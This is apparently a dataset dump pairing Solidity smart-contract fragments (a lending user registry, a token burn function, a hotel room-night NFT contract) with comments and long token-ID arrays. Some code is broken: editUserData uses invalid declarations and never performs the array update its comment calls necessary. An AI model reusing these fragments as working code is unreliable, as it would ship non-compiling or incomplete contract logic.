addressToUserData[_account] = u;
}
/*
Function to let users change their data after it has been created
*/
function editUserData(string memory _name, string memory _role) public {
require(keccak256(abi.encode(_role)) == keccak256(abi.encode("lender")) || keccak256(abi.encode(_role)) == keccak256(abi.encode("borrower")), "Role must match 'lender' or 'borrower");
addressToUserData[msg.sender].role = _role;
addressToUserData[msg.sender].name = _name;
// Array update necessary
uint memory index;
userData memory u;
for (uint i = 0; i < users.length; i++) {
if (users[i].address == msg.sender) {
index = i;
}
}
}
/*
Helper function to retrieve [mapping userLoanCount]
*/
function getUserLoanCount(address _addr) public view returns(uint) {
return userLoanCount[_addr];
}
/*
Helper function to retrieve [mapping loanToRegistrar]
*/
function getloanToRegistrar(uint _loanId) public view returns(address) {
return loanToRegistrar[_loanId];
}
/*
Helper function to retrieve UserId from mapping inside struct
*/
function getUserToId(uint256 _loanId, address _address) public view returns (uint256) {
return loans[_loanId].userToId[_address];
}
/*
Helper function to retrieve data belonging to an address
*/
function getUserDataByAddr(address _account) public view returns(userData memory) {
return addressToUserData[_account];
}
/*
Helper function to retrieve List of all registered Addresses in Loan
*/
function getUsersInLoan (uint256 _loanId) public view returns (address[] memory, uint) {
address[] memory addrArr = loans[_loanId].userList;
uint userCount = loans[_loanId].numOfUsers;
return (addrArr, userCount);
}
/*
Helper function to retrieve approval status array
*/
function getApprovalStatus(uint256 _loanId) public view returns (bool[] memory) {
bool[] memory array = loans[_loanId].approvalStatus; // approvalStatus is a bool array in a struct array
return array;
}
/*
Helper function to retrieve the loan amounts of the users from struct
*/
function getLoanAmounts(uint256 _loanId) public view returns (uint[] memory) {
uint[] memory array = loans[_loanId].loanAmounts;
return array;
}
/*
Get the length of the loan array
*/
function getArrLength() public view returns (uint256)
{
return (loans.length);
}
/*
Get the length of the user array
*/
function getUserArrLength() public view returns (uint256)
{
return (users.length);
}
/*
The function should return an array with all the loans the user is involved in, disregarding any other permissioning like read-write requests
Important to log all the loans by the user
As of now, only the registrar mapping is applied, a loan belonging to multiple users cannot be created yet
Info: mapping (uint => address) loanToRegistrar;
*/
function getLoansByUser(address _user) external view returns(uint[] memory) {
// Create a new array with as many entries as Loans belong to the user
uint[] memory result = new uint[](userLoanCount[_user]);
uint counter = 0;
// Iterate through loanToRegistrar mapping and check if equals address, then sum up
for (uint i = 0; i < loans.length; i++) {
if (loanToRegistrar[i] == _user) {
result[counter] = i;
counter++;
}
// Check if user is part of the loan but not registrar
else {
address[] memory _userArr = loans[i].userList;
for (uint c = 0; c < _userArr.length; c++ ) {
if (_userArr[c] == _user) {
result[counter] = i;
counter++;
}
}
}
}
return result;
}
}
| / Conditions to ensure no ghost users are registered Consider if populating array is necessary | function userRegistration (string memory _name, string memory _role, address _account) public {
require(bytes (_name).length > 0, "Name must be specified");
require(keccak256(abi.encode(_role)) == keccak256(abi.encode("lender")) || keccak256(abi.encode(_role)) == keccak256(abi.encode("borrower")), "Role must match 'lender' or 'borrower");
require(bytes (addressToUserData[_account].name).length == 0, "User has been registered before");
userData memory u;
u.name = _name;
u.role = _role;
u.account = _account;
users.push(u);
addressToUserData[_account] = u;
}
| 12,967,654 | [
1,
19,
23261,
358,
3387,
1158,
314,
2564,
3677,
854,
4104,
23047,
309,
3650,
1776,
526,
353,
4573,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
729,
7843,
261,
1080,
3778,
389,
529,
16,
533,
3778,
389,
4615,
16,
1758,
389,
4631,
13,
1071,
288,
203,
203,
203,
3639,
2583,
12,
3890,
261,
67,
529,
2934,
2469,
405,
374,
16,
315,
461,
1297,
506,
1269,
8863,
203,
203,
3639,
2583,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
24899,
4615,
3719,
422,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
2932,
80,
2345,
6,
3719,
747,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
24899,
4615,
3719,
422,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
2932,
70,
15318,
264,
7923,
3631,
315,
2996,
1297,
845,
296,
80,
2345,
11,
578,
296,
70,
15318,
264,
8863,
203,
3639,
2583,
12,
3890,
261,
2867,
774,
19265,
63,
67,
4631,
8009,
529,
2934,
2469,
422,
374,
16,
315,
1299,
711,
2118,
4104,
1865,
8863,
203,
203,
203,
3639,
13530,
3778,
582,
31,
203,
3639,
582,
18,
529,
273,
389,
529,
31,
203,
3639,
582,
18,
4615,
273,
389,
4615,
31,
203,
3639,
582,
18,
4631,
273,
389,
4631,
31,
203,
3639,
3677,
18,
6206,
12,
89,
1769,
203,
203,
3639,
1758,
774,
19265,
63,
67,
4631,
65,
273,
582,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xf8486f7D94B901040bDe27108C85c834cCFed867/sources/mainnet/contracts/DxProtocolToken.sol | Burn tokens (called by our ecosystem contracts) | function burn(address from, uint amount) external onlyRole(BURNER_ROLE) {
_burn(from, amount);
}
| 3,576,696 | [
1,
38,
321,
2430,
261,
11777,
635,
3134,
6557,
538,
1108,
20092,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
18305,
12,
2867,
628,
16,
2254,
3844,
13,
3903,
1338,
2996,
12,
38,
8521,
654,
67,
16256,
13,
288,
203,
3639,
389,
70,
321,
12,
2080,
16,
3844,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42/0x7d0621fb7f6228Ac6af66506eeE3EeAD081389a4/sources/Users/danmeixu/woodstock/src/github.com/woodstock-tokyo/decentralized-video-community/src/contracts/Images.sol | wallet payable address
| address payable author; | 16,272,786 | [
1,
19177,
8843,
429,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
1758,
8843,
429,
2869,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* This utility library was forked from https://github.com/o0ragman0o/LibCLL
*/
library LinkedListLib {
uint256 constant NULL = 0;
uint256 constant HEAD = 0;
bool constant PREV = false;
bool constant NEXT = true;
struct LinkedList {
mapping (uint256 => mapping (bool => uint256)) list;
uint256 length;
uint256 index;
}
/**
* @dev returns true if the list exists
* @param self stored linked list from contract
*/
function listExists(LinkedList storage self)
internal
view returns (bool) {
return self.length > 0;
}
/**
* @dev returns true if the node exists
* @param self stored linked list from contract
* @param _node a node to search for
*/
function nodeExists(LinkedList storage self, uint256 _node)
internal
view returns (bool) {
if (self.list[_node][PREV] == HEAD && self.list[_node][NEXT] == HEAD) {
if (self.list[HEAD][NEXT] == _node) {
return true;
} else {
return false;
}
} else {
return true;
}
}
/**
* @dev Returns the number of elements in the list
* @param self stored linked list from contract
*/
function sizeOf(LinkedList storage self)
internal
view
returns (uint256 numElements) {
return self.length;
}
/**
* @dev Returns the links of a node as a tuple
* @param self stored linked list from contract
* @param _node id of the node to get
*/
function getNode(LinkedList storage self, uint256 _node)
public
view
returns (bool, uint256, uint256) {
if (!nodeExists(self,_node)) {
return (false, 0, 0);
} else {
return (true, self.list[_node][PREV], self.list[_node][NEXT]);
}
}
/**
* @dev Returns the link of a node `_node` in direction `_direction`.
* @param self stored linked list from contract
* @param _node id of the node to step from
* @param _direction direction to step in
*/
function getAdjacent(LinkedList storage self, uint256 _node, bool _direction)
public
view
returns (bool, uint256) {
if (!nodeExists(self,_node)) {
return (false,0);
} else {
return (true,self.list[_node][_direction]);
}
}
/**
* @dev Can be used before `insert` to build an ordered list
* @param self stored linked list from contract
* @param _node an existing node to search from, e.g. HEAD.
* @param _value value to seek
* @param _direction direction to seek in
* @return next first node beyond '_node' in direction `_direction`
*/
function getSortedSpot(LinkedList storage self, uint256 _node, uint256 _value, bool _direction)
public
view
returns (uint256) {
if (sizeOf(self) == 0) {
return 0;
}
require((_node == 0) || nodeExists(self,_node));
bool exists;
uint256 next;
(exists,next) = getAdjacent(self, _node, _direction);
while ((next != 0) && (_value != next) && ((_value < next) != _direction)) next = self.list[next][_direction];
return next;
}
/**
* @dev Creates a bidirectional link between two nodes on direction `_direction`
* @param self stored linked list from contract
* @param _node first node for linking
* @param _link node to link to in the _direction
*/
function createLink(LinkedList storage self, uint256 _node, uint256 _link, bool _direction)
private {
self.list[_link][!_direction] = _node;
self.list[_node][_direction] = _link;
}
/**
* @dev Insert node `_new` beside existing node `_node` in direction `_direction`.
* @param self stored linked list from contract
* @param _node existing node
* @param _new new node to insert
* @param _direction direction to insert node in
*/
function insert(LinkedList storage self, uint256 _node, uint256 _new, bool _direction)
internal
returns (bool) {
if(!nodeExists(self,_new) && nodeExists(self,_node)) {
uint256 c = self.list[_node][_direction];
createLink(self, _node, _new, _direction);
createLink(self, _new, c, _direction);
self.length++;
return true;
} else {
return false;
}
}
/**
* @dev removes an entry from the linked list
* @param self stored linked list from contract
* @param _node node to remove from the list
*/
function remove(LinkedList storage self, uint256 _node)
internal
returns (uint256) {
if ((_node == NULL) || (!nodeExists(self,_node))) {
return 0;
}
createLink(self, self.list[_node][PREV], self.list[_node][NEXT], NEXT);
delete self.list[_node][PREV];
delete self.list[_node][NEXT];
self.length--;
return _node;
}
/**
* @dev pushes an enrty to the head of the linked list
* @param self stored linked list from contract
* @param _index The node Id
* @param _direction push to the head (NEXT) or tail (PREV)
*/
function add(LinkedList storage self, uint256 _index, bool _direction)
internal
returns (uint256) {
insert(self, HEAD, _index, _direction);
return self.index;
}
/**
* @dev pushes an enrty to the head of the linked list
* @param self stored linked list from contract
* @param _direction push to the head (NEXT) or tail (PREV)
*/
function push(LinkedList storage self, bool _direction)
internal
returns (uint256) {
self.index++;
insert(self, HEAD, self.index, _direction);
return self.index;
}
/**
* @dev pops the first entry from the linked list
* @param self stored linked list from contract
* @param _direction pop from the head (NEXT) or the tail (PREV)
*/
function pop(LinkedList storage self, bool _direction)
internal
returns (uint256) {
bool exists;
uint256 adj;
(exists,adj) = getAdjacent(self, HEAD, _direction);
return remove(self, adj);
}
}
/**
* Owned contract
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
/**
* Constructor
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Only the owner of contract
*/
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/**
* @dev transfer the ownership to other
* - Only the owner can operate
*/
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
/**
* @dev Accept the ownership from last owner
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TripioToken {
string public name;
string public symbol;
uint8 public decimals;
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
}
contract TripioRoomNightData is Owned {
using LinkedListLib for LinkedListLib.LinkedList;
// Interface signature of erc165.
// bytes4(keccak256("supportsInterface(bytes4)"))
bytes4 constant public interfaceSignature_ERC165 = 0x01ffc9a7;
// Interface signature of erc721 metadata.
// bytes4(keccak256("name()")) ^ bytes4(keccak256("symbol()")) ^ bytes4(keccak256("tokenURI(uint256)"));
bytes4 constant public interfaceSignature_ERC721Metadata = 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd;
// Interface signature of erc721.
// bytes4(keccak256("balanceOf(address)")) ^
// bytes4(keccak256("ownerOf(uint256)")) ^
// bytes4(keccak256("safeTransferFrom(address,address,uint256,bytes)")) ^
// bytes4(keccak256("safeTransferFrom(address,address,uint256)")) ^
// bytes4(keccak256("transferFrom(address,address,uint256)")) ^
// bytes4(keccak256("approve(address,uint256)")) ^
// bytes4(keccak256("setApprovalForAll(address,bool)")) ^
// bytes4(keccak256("getApproved(uint256)")) ^
// bytes4(keccak256("isApprovedForAll(address,address)"));
bytes4 constant public interfaceSignature_ERC721 = 0x70a08231 ^ 0x6352211e ^ 0xb88d4fde ^ 0x42842e0e ^ 0x23b872dd ^ 0x095ea7b3 ^ 0xa22cb465 ^ 0x081812fc ^ 0xe985e9c5;
// Base URI of token asset
string public tokenBaseURI;
// Authorized contracts
struct AuthorizedContract {
string name;
address acontract;
}
mapping (address=>uint256) public authorizedContractIds;
mapping (uint256 => AuthorizedContract) public authorizedContracts;
LinkedListLib.LinkedList public authorizedContractList = LinkedListLib.LinkedList(0, 0);
// Rate plan prices
struct Price {
uint16 inventory; // Rate plan inventory
bool init; // Whether the price is initied
mapping (uint256 => uint256) tokens;
}
// Vendor hotel RPs
struct RatePlan {
string name; // Name of rate plan.
uint256 timestamp; // Create timestamp.
bytes32 ipfs; // The address of rate plan detail on IPFS.
Price basePrice; // The base price of rate plan
mapping (uint256 => Price) prices; // date -> Price
}
// Vendors
struct Vendor {
string name; // Name of vendor.
address vendor; // Address of vendor.
uint256 timestamp; // Create timestamp.
bool valid; // Whether the vendor is valid(default is true)
LinkedListLib.LinkedList ratePlanList;
mapping (uint256=>RatePlan) ratePlans;
}
mapping (address => uint256) public vendorIds;
mapping (uint256 => Vendor) vendors;
LinkedListLib.LinkedList public vendorList = LinkedListLib.LinkedList(0, 0);
// Supported digital currencies
mapping (uint256 => address) public tokenIndexToAddress;
LinkedListLib.LinkedList public tokenList = LinkedListLib.LinkedList(0, 0);
// RoomNight tokens
struct RoomNight {
uint256 vendorId;
uint256 rpid;
uint256 token; // The digital currency token
uint256 price; // The digital currency price
uint256 timestamp; // Create timestamp.
uint256 date; // The checkin date
bytes32 ipfs; // The address of rate plan detail on IPFS.
}
RoomNight[] public roomnights;
// rnid -> owner
mapping (uint256 => address) public roomNightIndexToOwner;
// Owner Account
mapping (address => LinkedListLib.LinkedList) public roomNightOwners;
// Vendor Account
mapping (address => LinkedListLib.LinkedList) public roomNightVendors;
// The authorized address for each TRN
mapping (uint256 => address) public roomNightApprovals;
// The authorized operators for each address
mapping (address => mapping (address => bool)) public operatorApprovals;
// The applications of room night redund
mapping (address => mapping (uint256 => bool)) public refundApplications;
// The signature of `onERC721Received(address,uint256,bytes)`
// bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
bytes4 constant public ERC721_RECEIVED = 0xf0b9e5ba;
/**
* This emits when contract authorized
*/
event ContractAuthorized(address _contract);
/**
* This emits when contract deauthorized
*/
event ContractDeauthorized(address _contract);
/**
* The contract is valid
*/
modifier authorizedContractValid(address _contract) {
require(authorizedContractIds[_contract] > 0);
_;
}
/**
* The contract is valid
*/
modifier authorizedContractIdValid(uint256 _cid) {
require(authorizedContractList.nodeExists(_cid));
_;
}
/**
* Only the owner or authorized contract is valid
*/
modifier onlyOwnerOrAuthorizedContract {
require(msg.sender == owner || authorizedContractIds[msg.sender] > 0);
_;
}
/**
* Constructor
*/
constructor() public {
// Add one invalid RoomNight, avoid subscript 0
roomnights.push(RoomNight(0, 0, 0, 0, 0, 0, 0));
}
/**
* @dev Returns the node list and next node as a tuple
* @param self stored linked list from contract
* @param _node the begin id of the node to get
* @param _limit the total nodes of one page
* @param _direction direction to step in
*/
function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction)
private
view
returns (uint256[], uint256) {
bool exists;
uint256 i = 0;
uint256 ei = 0;
uint256 index = 0;
uint256 count = _limit;
if(count > self.length) {
count = self.length;
}
(exists, i) = self.getAdjacent(_node, _direction);
if(!exists || count == 0) {
return (new uint256[](0), 0);
}else {
uint256[] memory temp = new uint256[](count);
if(_node != 0) {
index++;
temp[0] = _node;
}
while (i != 0 && index < count) {
temp[index] = i;
(exists,i) = self.getAdjacent(i, _direction);
index++;
}
ei = i;
if(index < count) {
uint256[] memory result = new uint256[](index);
for(i = 0; i < index; i++) {
result[i] = temp[i];
}
return (result, ei);
}else {
return (temp, ei);
}
}
}
/**
* @dev Authorize `_contract` to execute this contract's funs
* @param _contract The contract address
* @param _name The contract name
*/
function authorizeContract(address _contract, string _name)
public
onlyOwner
returns(bool) {
uint256 codeSize;
assembly { codeSize := extcodesize(_contract) }
require(codeSize != 0);
// Not exists
require(authorizedContractIds[_contract] == 0);
// Add
uint256 id = authorizedContractList.push(false);
authorizedContractIds[_contract] = id;
authorizedContracts[id] = AuthorizedContract(_name, _contract);
// Event
emit ContractAuthorized(_contract);
return true;
}
/**
* @dev Deauthorized `_contract` by address
* @param _contract The contract address
*/
function deauthorizeContract(address _contract)
public
onlyOwner
authorizedContractValid(_contract)
returns(bool) {
uint256 id = authorizedContractIds[_contract];
authorizedContractList.remove(id);
authorizedContractIds[_contract] = 0;
delete authorizedContracts[id];
// Event
emit ContractDeauthorized(_contract);
return true;
}
/**
* @dev Deauthorized `_contract` by contract id
* @param _cid The contract id
*/
function deauthorizeContractById(uint256 _cid)
public
onlyOwner
authorizedContractIdValid(_cid)
returns(bool) {
address acontract = authorizedContracts[_cid].acontract;
authorizedContractList.remove(_cid);
authorizedContractIds[acontract] = 0;
delete authorizedContracts[_cid];
// Event
emit ContractDeauthorized(acontract);
return true;
}
/**
* @dev Get authorize contract ids by page
* @param _from The begin authorize contract id
* @param _limit How many authorize contract ids one page
* @return The authorize contract ids and the next authorize contract id as tuple, the next page not exists when next eq 0
*/
function getAuthorizeContractIds(uint256 _from, uint256 _limit)
external
view
returns(uint256[], uint256){
return getNodes(authorizedContractList, _from, _limit, true);
}
/**
* @dev Get authorize contract by id
* @param _cid Then authorize contract id
* @return The authorize contract info(_name, _acontract)
*/
function getAuthorizeContract(uint256 _cid)
external
view
returns(string _name, address _acontract) {
AuthorizedContract memory acontract = authorizedContracts[_cid];
_name = acontract.name;
_acontract = acontract.acontract;
}
/*************************************** GET ***************************************/
/**
* @dev Get the rate plan by `_vendorId` and `_rpid`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
*/
function getRatePlan(uint256 _vendorId, uint256 _rpid)
public
view
returns (string _name, uint256 _timestamp, bytes32 _ipfs) {
_name = vendors[_vendorId].ratePlans[_rpid].name;
_timestamp = vendors[_vendorId].ratePlans[_rpid].timestamp;
_ipfs = vendors[_vendorId].ratePlans[_rpid].ipfs;
}
/**
* @dev Get the rate plan price by `_vendorId`, `_rpid`, `_date` and `_tokenId`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _tokenId The digital token id
* @return The price info(inventory, init, price)
*/
function getPrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId)
public
view
returns(uint16 _inventory, bool _init, uint256 _price) {
_inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
_init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;
_price = vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId];
if(!_init) {
// Get the base price
_inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
_price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
_init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
}
/**
* @dev Get the rate plan prices by `_vendorId`, `_rpid`, `_dates` and `_tokenId`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _dates The dates desc ([20180723,20180724,20180725])
* @param _tokenId The digital token id
* @return The price info(inventory, init, price)
*/
function getPrices(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _tokenId)
public
view
returns(uint16[] _inventories, uint256[] _prices) {
uint16[] memory inventories = new uint16[](_dates.length);
uint256[] memory prices = new uint256[](_dates.length);
uint256 date;
for(uint256 i = 0; i < _dates.length; i++) {
date = _dates[i];
uint16 inventory = vendors[_vendorId].ratePlans[_rpid].prices[date].inventory;
bool init = vendors[_vendorId].ratePlans[_rpid].prices[date].init;
uint256 price = vendors[_vendorId].ratePlans[_rpid].prices[date].tokens[_tokenId];
if(!init) {
// Get the base price
inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
inventories[i] = inventory;
prices[i] = price;
}
return (inventories, prices);
}
/**
* @dev Get the inventory by by `_vendorId`, `_rpid` and `_date`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @return The inventory info(inventory, init)
*/
function getInventory(uint256 _vendorId, uint256 _rpid, uint256 _date)
public
view
returns(uint16 _inventory, bool _init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
_init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;
if(!_init) {
// Get the base price
_inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
}
}
/**
* @dev Whether the rate plan is exist
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @return If the rate plan of the vendor is exist returns true otherwise return false
*/
function ratePlanIsExist(uint256 _vendorId, uint256 _rpid)
